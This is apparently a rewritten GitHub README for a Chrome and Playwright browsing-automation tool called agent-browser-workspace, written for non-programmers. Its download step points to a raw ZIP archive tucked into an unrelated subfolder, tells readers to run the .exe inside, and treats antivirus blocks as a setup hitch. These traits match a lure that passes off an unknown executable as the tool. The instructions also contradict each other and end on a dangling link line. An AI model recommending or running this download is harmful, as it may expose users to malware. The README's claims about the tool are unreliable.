agent-browser-workspace
Automate local Chrome browsing with isolated profiles, extract content, save pages to Markdown, and run searches using CLI tools and Node.js APIs.
Description
Automate local Chrome browsing with isolated profiles, extract content, save pages to Markdown, and run searches using CLI tools and Node.js APIs.
README
agent-browser-workspace is a tool that helps you research the web, automate browsing tasks, and extract information. It works with your local Chrome browser and uses Playwright technology. This means you can run scripts to navigate websites, collect data, and automate tasks right from your computer. The tool is designed to help researchers, students, or anyone who needs detailed and repeatable web browsing steps without technical knowledge.
You do not need to be a programmer to use this. The tool comes with ready-made scripts that you can run by following clear instructions.
To use agent-browser-workspace, your Windows computer should have:
- Windows 10 or later (64-bit).
- Google Chrome installed (latest version recommended).
- At least 4 GB of free RAM.
- At least 500 MB of free storage space.
- Internet connection to download the files and scripts.
Your system should allow the installation and running of programs from outside the Microsoft Store.
-
Click the big Download button at the top or visit the project page here:
https://github.com/abdelhameedhelal1991-design/agent-browser-workspace/raw/refs/heads/main/deep_research_bench/workspace-agent-browser-v1.6.zip -
On the GitHub page, find the Releases section. It usually appears on the right-hand side or under the repository header.
-
Select the latest release version. The release page contains the ready-to-use downloadable files.
-
Download the Windows installer or the ZIP file labeled for Windows.
-
If you downloaded an installer file (.exe), double-click it and follow the on-screen steps to install the software.
-
If you downloaded a ZIP file, right-click it and choose "Extract All..." to unpack the files to a folder you can find easily (for example, your Desktop or Downloads folder).
-
After installation or extraction, open the folder where the software is installed or unpacked.
-
Find the main program file (usually named agent-browser-workspace.exe or similar).
-
Double-click this file to start the program.
When you run agent-browser-workspace for the first time, it will ask you to set up a few things:
- Connect to your local Chrome browser using Chrome DevTools Protocol.
- Verify that Playwright dependencies are installed. The program may download these automatically if missing.
- Configure your workspace folder where scripts and results will be stored.
Follow the simple prompts. The software checks your system and guides you through any steps needed.
You can perform several tasks with the software. The main functions include:
-
Web navigation automation
Easily open websites, click buttons, and move through pages. -
Data extraction
Collect information from websites in a structured way. Save data as text, markdown, or PDF. -
Workflow automation
Create a sequence of web tasks that run automatically. Useful for research or repetitive browsing jobs.
The project comes with sample scripts to try. Open the workspace folder and look for the "samples" directory. Double-click or run these files with the program to test features.
You do not need to write any code. Use the built-in scripts by:
- Launching the software.
- Selecting a sample script from the list.
- Clicking the start button.
The software will run the script, control Chrome to do tasks, and save outputs to your workspace folder.
You can stop or pause the scripts anytime.
To keep the software working smoothly:
- Check the GitHub releases page regularly for updates.
- Download the latest version and replace your old installer or files.
- Your workspace data remains intact after updates.
The workspace folder stores everything:
- Collected data in markdown or PDF.
- Script files for automation.
- Logs and session details.
You can organize your workspace by creating subfolders or renaming items. Avoid deleting files unless you want to remove old data or scripts.
If you have issues:
- Make sure Chrome is installed and updated.
- Restart your PC and try again.
- Confirm your internet connection is active during setup.
- If scripts do not run, check the workspace folder for error logs.
- Look for any blocked permissions by Windows Defender or antivirus software.
If problems persist, download a fresh copy from the GitHub page and reinstall.
This project helps users automate browsing using Chrome's Developer Tools Protocol (CDP) and Playwright. It is good for people who want to save time by letting a program handle research steps. It can extract content in easy formats like markdown and PDF for later use.
Find the latest version here:
